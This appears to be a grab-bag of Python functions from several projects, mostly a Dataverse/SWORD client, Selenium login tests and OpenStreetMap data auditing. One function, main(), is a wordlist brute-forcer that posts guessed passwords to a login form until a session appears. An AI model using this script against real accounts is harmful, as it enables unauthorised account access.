def get_statement(self, refresh=False): if not refresh and self._statement: return self._statement if not self.dataverse: raise NoContainerError('This dataset has not been added to a Dataverse.') if not self.statement_uri: # Try to find statement uri without a request to the server link = get_element( self.get_entry(), tag='link', attribute='rel', attribute_value='http://purl.org/net/sword/terms/statement', ) if link is None: # Find link with request to server link = get_element( self.get_entry(refresh=True), tag='link', attribute='rel', attribute_value='http://purl.org/net/sword/terms/statement', ) self.statement_uri = link.get('href') resp = requests.get(self.statement_uri, auth=self.connection.auth) if resp.status_code != 200: raise ConnectionError('Statement could not be retrieved.') self._statement = resp.content return self._statement
def do_login(driver, login: str, url=pytest.test_client_url): """ Enter login in the login-field on the page and click 'next' button :param driver: webdriver :param login: str for input in login-field """ driver.get(url) input_email = get_element(driver, pytest.input_login) input_email.send_keys(login) button_next = get_element(driver, pytest.login_next) button_next.click()
def do_pwd(driver, pwd: str): """ Enter password in the pwd-field on the page and click 'next' button :param driver: webdriver :param pwd: str for input in pwd-field :return: """ imput_pwd = get_element(driver, pytest.input_pwd) imput_pwd.send_keys(pwd) button_next = get_element(driver, pytest.pwd_next) button_next.click()
def __init__(self, entry=SWORD_BOOTSTRAP, dataverse=None, edit_uri=None, edit_media_uri=None, statement_uri=None, **kwargs): """ Datasets must have a title, description, and author. This can be specified in the atom entry or as kwargs """ self.dataverse = dataverse self.edit_uri = edit_uri self.edit_media_uri = edit_media_uri self.statement_uri = statement_uri self.is_deleted = False self._entry = etree.XML(entry) if isinstance(entry, str) else entry self._statement = None self._metadata = {} self._id = None # Updates sword entry from keyword arguments for key, value in kwargs.iteritems(): if isinstance(value, list): for item in value: add_field(self._entry, key, item, 'dcterms') else: add_field(self._entry, key, value, 'dcterms') self.title = get_element( self._entry, tag='title', namespace='dcterms' ).text
def get_state(self): return get_element( self.get_statement(), tag="category", attribute="term", attribute_value="latestVersionState" ).text
def __init__(self, entry=None, title=None, dataverse=None, edit_uri=None, edit_media_uri=None, statement_uri=None, **kwargs): # Generate sword entry sword_entry = sword2.Entry(entry) sword_title = get_element(sword_entry.pretty_print(), namespace='dcterms', tag='title') if sword_title is None: # Append title to entry if isinstance(title, basestring): self.title = title sword_entry.add_field(format_term('title'), title) else: raise DataverseException('Study needs a single, valid title.') else: self.title = sword_title.text if kwargs: # Updates sword entry from keyword arguments for k in kwargs.keys(): if isinstance(kwargs[k], list): for item in kwargs[k]: sword_entry.add_field(format_term(k), item) else: sword_entry.add_field(format_term(k), kwargs[k]) self._entry = sword_entry.pretty_print() self._statement = None self._state = None self.dataverse = dataverse self.edit_uri = edit_uri self.edit_media_uri = edit_media_uri self.statement_uri = statement_uri
def audit(osm_filename): global errs count = 0 # tag_count = defaultdict(int) # streets = defaultdict(int) errs = [] for elem in utils.get_element(osm_filename, tags=('node', 'way')): count += 1 if elem.tag == "node": node, tags, errs_curr = audit_node(elem) elif elem.tag == "way": way, way_nodes, tags, errs_curr = audit_way(elem) if errs_curr: errs.append(('bad elem', elem.attrib, errs_curr)) # pp.pprint(errs[-1]) # else: # for tag in tags: # tag_count[tag['type'] + ":" + tag['key']] += 1 # if tag['key'] == 'street' and len(tag['value'].split(' ')) > 1: # words = tag['value'].split(' ') # streets[words[0]] +=1 # streets[words[-1]] +=1 # if count > 1000: # break errs_glob = errs print("Num errors: {}".format(len(errs))) errs_cat = utils.categorize_errs(errs) for cat in errs_cat: print("{}: {}".format(cat, len(errs_cat[cat])))
def is_released(self): # Get entry resource for collection collection_info = self.connection.sword.get_resource(self.collection.href).content status = utils.get_element( collection_info, namespace="http://purl.org/net/sword/terms/state", tag="dataverseHasBeenReleased", ).text return status.lower() == 'true'
def from_entry(cls, entry_element, dataverse=None): id_element = get_element(entry_element, tag="id") title_element = get_element(entry_element, tag="title") edit_media_element = get_element( entry_element, tag="link", attribute="rel", attribute_value="edit-media", ) return cls( title=title_element.text, id=id_element.text, dataverse=dataverse, edit_uri=entry_element.base, edit_media_uri=edit_media_element.get('href'), )
def get_state(self, refresh=False): if self.is_deleted: return 'DEACCESSIONED' return get_element( self.get_statement(refresh), tag='category', attribute='term', attribute_value='latestVersionState' ).text
def from_dataverse(cls, entry_element, dataverse): # Entry not in appropriate format--extract relevant metadata id_element = get_element(entry_element, tag='id') title_element = get_element(entry_element, tag='title') edit_media_element = get_element( entry_element, tag='link', attribute='rel', attribute_value='edit-media', ) return cls( title=title_element.text, id=id_element.text, dataverse=dataverse, edit_uri=entry_element.base, edit_media_uri=edit_media_element.get('href'), )
def is_released(self): # Get entry resource for collection collection_info = self.connection.sword.get_resource( self.collection.href).content status = utils.get_element( collection_info, namespace="http://purl.org/net/sword/terms/state", tag="dataverseHasBeenReleased", ).text return status.lower() == 'true'
def from_dataverse(cls, entry_element, dataverse): # Entry not in appropriate format--extract relevant metadata id_element = get_element(entry_element, tag="id") title_element = get_element(entry_element, tag="title") edit_media_element = get_element( entry_element, tag="link", attribute="rel", attribute_value="edit-media", ) return cls( title=title_element.text, id=id_element.text, dataverse=dataverse, edit_uri=entry_element.base, edit_media_uri=edit_media_element.get('href'), )
def positive_login_case(driver, login: str): """ Enter login in the email-field and expects that it is correct :param driver: :param login: """ do_login(driver, login=login) time.sleep(1) select_accounts = get_element(driver, pytest.true_login_account) assert select_accounts.text == f'{login}@gmail.com'
def negative_pwd_case(driver, pwd: str): """ Enter password in the pwd-field and expects that it is incorrect :param driver: webdriver :param pwd: str for input in pwd-field """ do_pwd(driver, pwd) time.sleep(1) pwd_alert_msg = get_element(driver, pytest.wrong_pwd_alert) assert pytest.negative_pwd_msg in pwd_alert_msg.text
def negative_login_case(driver, login: str): """ Enter login in the email-field and expects that it is incorrect :param driver: :param login: """ do_login(driver, login=login) time.sleep(1) assert_msg_txt = get_element(driver, pytest.wrong_login_alert) assert assert_msg_txt.text == pytest.negative_login_msg1 or \ assert_msg_txt.text == pytest.negative_login_msg2
def get_state(self, refresh=False): if not refresh and self._state or self._state == 'DEACCESSIONED': return self._state self._state = get_element( self.get_statement(refresh), tag="category", attribute="term", attribute_value="latestVersionState" ).text return self._state
def add_dataset(self, dataset): if get_element(dataset._entry, 'title', 'dcterms') is None: raise InsufficientMetadataError('This dataset must have a title.') if get_element(dataset._entry, 'description', 'dcterms') is None: raise InsufficientMetadataError('This dataset must have a description.') if get_element(dataset._entry, 'creator', 'dcterms') is None: raise InsufficientMetadataError('This dataset must have an author.') resp = requests.post( self.collection.get('href'), data=dataset.get_entry(), headers={'Content-type': 'application/atom+xml'}, auth=self.connection.auth, ) if resp.status_code != 201: raise OperationFailedError('This dataset could not be added.') dataset.dataverse = self dataset._refresh(receipt=resp.content)
def get_statement(self): if not self.statement_uri: entry = self.get_entry() link = get_element( entry, tag="link", attribute="rel", attribute_value="http://purl.org/net/sword/terms/statement", ) self.statement_uri = link.get("href") statement = self.dataverse.connection.sword.get_resource(self.statement_uri).content return statement
def _refresh(self, receipt=None): if receipt: self.edit_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='edit' ).get('href') self.edit_media_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='edit-media' ).get('href') self.statement_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='http://purl.org/net/sword/terms/statement' ).get('href') self.get_statement(refresh=True) self.get_entry(refresh=True) self.get_state(refresh=True)
def navigate_waypoint(self, driver, waypoint, timeout): log.info('Navigating ' + str(waypoint)) elem = get_element(driver, waypoint.locator, timeout=timeout) jitter(.8) elem.click() try: WebDriverWait(driver, timeout).until(EC.staleness_of(elem)) except TimeoutException: pass if remove_qs(driver.current_url) == BASE_URL + waypoint.dest: log.info("Navigated to '{}'".format(waypoint.dest)) else: raise NavigationException("Navigation to '{}' failed".format( waypoint.dest))
def is_published(self): collection_info = requests.get( self.collection.get('href'), auth=self.connection.auth, ).content status_tag = get_element( collection_info, namespace="http://purl.org/net/sword/terms/state", tag="dataverseHasBeenReleased", ) status = status_tag.text return status.lower() == 'true'
def get_statement(self, refresh=False): if not refresh and self._statement: return self._statement if not self.statement_uri: # Try to find statement uri without a request to the server link = get_element( self.get_entry(), tag="link", attribute="rel", attribute_value="http://purl.org/net/sword/terms/statement", ) if link is None: # Find link with request to server link = get_element( self.get_entry(refresh=True), tag="link", attribute="rel", attribute_value="http://purl.org/net/sword/terms/statement", ) self.statement_uri = link.get("href") self._statement = self.dataverse.connection.sword.get_resource(self.statement_uri).content return self._statement
def _refresh(self, receipt=None): if receipt: self.edit_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='edit' ).get('href') self.edit_media_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='edit-media' ).get('href') self.statement_uri = get_element( receipt, tag='link', attribute='rel', attribute_value='http://purl.org/net/sword/terms/statement' ).get('href') self.get_statement(refresh=True) self.get_entry(refresh=True) self.get_metadata('latest', refresh=True)
def get_slots(driver, site_config): log.info('Checking for available slots') slot_container = get_element(driver, site_config.Locators.SLOT_CONTAINER) slotselect_elems = slot_container.find_elements( *site_config.Locators.SLOT_SELECT) slots = [] for cont in slotselect_elems: id = cont.get_attribute('id') date_elem = driver.find_element(By.XPATH, "//button[@name='{}']".format(id)) for slot in cont.find_elements(*site_config.Locators.SLOT): slots.append(SlotElement(slot, date_elem)) if slots: log.info('Found {} slots'.format(len(slots))) return (slots)
def is_published(self): # Always check latest version collection_info = requests.get( self.collection.get('href'), auth=self.connection.auth, ).content status_tag = get_element( collection_info, namespace='http://purl.org/net/sword/terms/state', tag='dataverseHasBeenReleased', ) status = status_tag.text return status.lower() == 'true'
def get_state(self, refresh=False): if not refresh and self._state: return self._state try: self._state = get_element( self.get_statement(refresh), tag="category", attribute="term", attribute_value="latestVersionState" ).text return self._state except HTTPResponseError as e: # Study was deleted without being released. # For simplicity's sake, we'll call it deaccessioned self._state = 'DEACCESSIONED' return self._state
def main(): questions = [ inquirer.Text("email", message="What your email?"), inquirer.Confirm("logs", message="Save logs?") ] options = inquirer.prompt(questions) html = getPage() formEl = get_element(html, "form") data = convert_form_to_dict(formEl) data["email"] = options["email"] file = open(f"{getcwd()}/data/wordlist1.txt", "r") while True: try: line = next(file) data["pass"] = line res = session.post(settings["url"], data=data) content = res.text if options["logs"]: try: writeFile(line, content) except FileNotFoundError: mkdir(f"{getcwd()}/logs") writeFile(line, content) if ("Terminar sessão" in content or len(content) == 0): finded_password(line) break cracking(line) sleep(3) except StopIteration: print("SORRY ):") break file.close()
def citation(self): return get_element( self.get_entry(), namespace='http://purl.org/dc/terms/', tag="bibliographicCitation" ).text
def title(self): dirty_title = get_element(self.get_statement(), tag='title').text return sanitize(dirty_title)
def title(self): return sanitize(get_element( self.collection, namespace='atom', tag='title', ).text)
def process_map(file_in, validate): """Iteratively process each XML element and write to csv(s)""" with codecs.open(csv_filename_nodes, 'wb') as nodes_file, codecs.open( csv_filename_nodes_tags, 'wb') as nodes_tags_file, codecs.open( csv_filename_ways, 'wb') as ways_file, codecs.open( csv_filename_ways_nodes, 'wb') as ways_nodes_file, codecs.open( csv_filename_ways_tags, 'wb') as ways_tags_file, codecs.open( csv_filename_users, 'wb') as users_file: nodes_writer = UnicodeDictWriter(nodes_file, node_fields_csv_names) nodes_tags_writer = UnicodeDictWriter(nodes_tags_file, tag_fields_csv_names) ways_writer = UnicodeDictWriter(ways_file, way_fields_csv_names) ways_nodes_writer = UnicodeDictWriter(ways_nodes_file, way_nodes_fields_csv_names) ways_tags_writer = UnicodeDictWriter(ways_tags_file, tag_fields_csv_names) users_writer = UnicodeDictWriter(users_file, user_fields_csv_names) writers = { 'nodes': nodes_writer, 'nodes_tags': nodes_tags_writer, 'ways': ways_writer, 'ways_nodes': ways_nodes_writer, 'ways_tags': ways_tags_writer, 'users': users_writer } # It seems that sqlite does not like headers #for writer in writers.values(): # writer.writeheader() validator = cerberus.Validator() errs = [] user_ids = set() for elem in utils.get_element(file_in, tags=('node', 'way')): parsed = {} if elem.tag == "node": node, tags, errs_curr = audit_node(elem) if node: parsed['nodes'] = node parsed['nodes_tags'] = tags elif elem.tag == "way": way, way_nodes, tags, errs_curr = audit_way(elem) if way: parsed['ways'] = way parsed['ways_nodes'] = way_nodes parsed['ways_tags'] = tags if errs_curr: errs.append(('bad elem', elem.attrib, errs_curr)) #pp.pprint(errs[-1]) if parsed: # move username to the users table uid = parsed[elem.tag + 's']['uid'] username = parsed[elem.tag + 's']['user'] del parsed[elem.tag + 's']['user'] if uid not in user_ids: user_ids.add(uid) parsed['users'] = {'id': uid, 'username': username} if validate is True: validate_element(parsed, validator) for table in parsed: writers[table].write(parsed[table])